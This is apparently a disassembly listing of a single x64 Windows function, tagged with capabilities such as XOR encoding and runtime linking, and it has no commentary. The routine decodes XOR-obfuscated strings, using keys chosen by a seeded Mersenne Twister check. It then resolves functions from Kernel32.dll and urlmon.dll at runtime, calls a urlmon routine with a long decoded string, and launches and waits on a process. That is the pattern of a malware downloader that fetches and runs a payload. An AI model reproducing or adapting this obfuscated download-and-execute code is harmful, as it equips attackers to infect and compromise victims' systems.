Function at 0x140001180
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1460]
mov eax, 0x1560
call fcn.140002b30
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1450], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], 0xe
mov qword [rbp + 0x40], 0xf
movsd xmm0, qword [str.tERVCRgEXTRDDv]
movsd qword [rbp + 0x28], xmm0
mov eax, dword [0x140003348]
mov dword [rbp + 0x30], eax
movzx eax, word [0x14000334c]
mov word [rbp + 0x34], ax
mov byte [rbp + 0x36], 0
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xor r13d, r13d
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], 0xf
lea ecx, [r13 + 0x20]
call fcn.140001d70
mov qword [rbp + 8], rax
mov qword [rbp + 0x18], 0x13
mov qword [rbp + 0x20], 0x1f
movups xmm0, xmmword [str._mexJc_ebk_iCnfiox]
movups xmmword [rax], xmm0
movzx ecx, word [0x140003360]
mov word [rax + 0x10], cx
movzx ecx, byte [0x140003362]
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], r13b
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], 0xb
mov qword [rbp - 0x60], 0xf
movsd xmm0, qword [str.o_C_IdMBH_I]
movsd qword [rbp - 0x78], xmm0
movzx eax, word [0x140003370]
mov word [rbp - 0x70], ax
movzx eax, byte [0x140003372]
mov byte [rbp - 0x6e], al
mov byte [rbp - 0x6d], r13b
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r13
mov qword [rbp], 0xf
lea ecx, [r13 + 0x20]
call fcn.140001d70
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], 0x12
mov qword [rbp], 0x1f
movups xmm0, xmmword [str.JMS_phqspKpYvsz]
movups xmmword [rax], xmm0
movzx ecx, word [0x140003388]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], r13b
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], 0xb
mov qword [rbp - 0x80], 0xf
movsd xmm0, qword [str.QpypapSypT]
movsd qword [rsp + 0x68], xmm0
movzx eax, word [0x140003398]
mov word [rsp + 0x70], ax
movzx eax, byte [0x14000339a]
mov byte [rsp + 0x72], al
mov byte [rsp + 0x73], r13b
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 0xf
lea ecx, [r13 + 0x50]
call fcn.140001d70
mov rdx, rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x28], 0x4e
mov qword [rbp - 0x20], 0x4f
movaps xmm0, xmmword [str.mqquv_cdvqpuijdaljCffsLtccJCHTQ7_WRclRnbm_K7u6AJdA7hHd0g_wkardw_oub]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400033b0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400033c0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400033d0]
movups xmmword [rax + 0x30], xmm1
movsd xmm0, qword [0x1400033e0]
movsd qword [rax + 0x40], xmm0
mov eax, dword [0x1400033e8]
mov dword [rdx + 0x48], eax
movzx eax, word [0x1400033ec]
mov word [rdx + 0x4c], ax
mov byte [rdx + 0x4e], r13b
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], 0xf
lea ecx, [r13 + 0x20]
call fcn.140001d70
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], 0x15
mov qword [rbp - 0x40], 0x1f
movups xmm0, xmmword [str.U_JCesdeJxbyedxz8sns]
movups xmmword [rax], xmm0
mov ecx, dword [0x140003400]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x140003404]
mov byte [rax + 0x14], cl
mov byte [rax + 0x15], r13b
mov dword [rbp + 0x1444], 0xffffffff
mov edx, 0x1571
mov dword [rbp + 0xc4], edx
lea ecx, [r13 + 1]
mov r9d, 0x270
nop dword [rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0xc4], edx
inc rcx
cmp rcx, r9
jb 0x140001410
mov dword [rbp + 0xc0], r9d
lea r8, [rbp + 0xc8]
nop dword [rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, dword [r8 - 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x630]
shr edx, 1
xor ecx, edx
mov dword [r8 + 0x9bc], ecx
lea r8, [r8 + 4]
sub r9, 1
jne 0x140001440
mov ecx, dword [rbp + 0xc0]
mov edx, dword [rbp + rcx*4 + 0xc4]
inc ecx
mov dword [rbp + 0xc0], ecx
mov eax, edx
shr eax, 0xb
and eax, dword [rbp + 0x1444]
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
ucomisd xmm0, qword [0x140003448]
jp 0x1400014d2
je 0x14000161d
lea rax, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rax, qword [rbp + 0x28]
movsxd rcx, dword [rbp + 0x38]
test rcx, rcx
jle 0x1400014fd
nop dword [rax]
xor byte [rax], 0x37
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400014f0
lea rax, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rax, qword [rbp + 8]
movsxd rcx, dword [rbp + 0x18]
test rcx, rcx
jle 0x14000152d
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0xc
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001520
lea rax, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rax, qword [rbp - 0x78]
movsxd rcx, dword [rbp - 0x68]
test rcx, rcx
jle 0x14000155d
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x2c
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001550
lea rax, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rax, qword [rbp - 0x18]
movsxd rcx, dword [rbp - 8]
test rcx, rcx
jle 0x14000158d
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x1f
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001580
lea rax, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rax, qword [rsp + 0x68]
movsxd rcx, dword [rsp + 0x78]
test rcx, rcx
jle 0x1400015bd
nop word [rax + rax]
xor byte [rax], 0x15
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400015b0
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rax, qword [rbp - 0x38]
movsxd rcx, dword [rbp - 0x28]
test rcx, rcx
jle 0x1400015ed
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 5
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400015e0
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rax, qword [rbp - 0x58]
movsxd rcx, dword [rbp - 0x48]
test rcx, rcx
jle 0x14000161d
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x16
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001610
lea rcx, [rbp + 0xc0]
call fcn.140001b50
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
ucomisd xmm0, qword [0x140003440]
jp 0x14000178d
jne 0x14000178d
lea rax, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rax, qword [rbp + 0x28]
movsxd rcx, dword [rbp + 0x38]
test rcx, rcx
jle 0x14000166d
nop
xor byte [rax], 0x89
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001660
lea rax, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rax, qword [rbp + 8]
movsxd rcx, dword [rbp + 0x18]
test rcx, rcx
jle 0x14000169d
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x45
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001690
lea rax, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rax, qword [rbp - 0x78]
movsxd rcx, dword [rbp - 0x68]
test rcx, rcx
jle 0x1400016cd
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x40
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400016c0
lea rax, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rax, qword [rbp - 0x18]
movsxd rcx, dword [rbp - 8]
test rcx, rcx
jle 0x1400016fd
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x8f
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400016f0
lea rax, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rax, qword [rsp + 0x68]
movsxd rcx, dword [rsp + 0x78]
test rcx, rcx
jle 0x14000172d
nop word [rax + rax]
xor byte [rax], 0x9e
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001720
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rax, qword [rbp - 0x38]
movsxd rcx, dword [rbp - 0x28]
test rcx, rcx
jle 0x14000175d
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x9c
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001750
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rax, qword [rbp - 0x58]
movsxd rcx, dword [rbp - 0x48]
test rcx, rcx
jle 0x14000178d
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0xb5
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001780
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
lea rcx, str.urlmon.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rdi, rdi
je 0x1400018ff
test rax, rax
je 0x1400018ff
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rdx, qword [rbp + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rdx, qword [rbp + 8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rdx, qword [rbp - 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rdx, qword [rbp - 0x38]
lea rdi, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rdi, qword [rbp - 0x58]
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rdi
xor ecx, ecx
call rbx
test eax, eax
jne 0x1400018ff
mov dword [rbp + 0x50], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
movups xmmword [rbp + 0x78], xmm0
movups xmmword [rbp + 0x88], xmm0
movups xmmword [rbp + 0x98], xmm0
movups xmmword [rbp + 0xa8], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call r12
test eax, eax
je 0x1400018ff
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call r14
mov rcx, qword [rsp + 0x50]
call rsi
mov rcx, qword [rsp + 0x58]
call rsi
mov rcx, rdi
call r15
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14000193d
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001938
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001938
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001dac
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14000198b
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001986
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001986
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001dac
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400019da
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001dac
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x140001a2a
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001dac
mov qword [rbp - 8], r13
mov qword [rbp], 0xf
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140001a78
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001dac
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140001ac6
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ac1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ac1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001dac
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x140001b14
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001dac
xor eax, eax
mov rcx, qword [rbp + 0x1450]
xor rcx, rsp
call fcn.140001d50
lea r11, [rsp + 0x1560]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret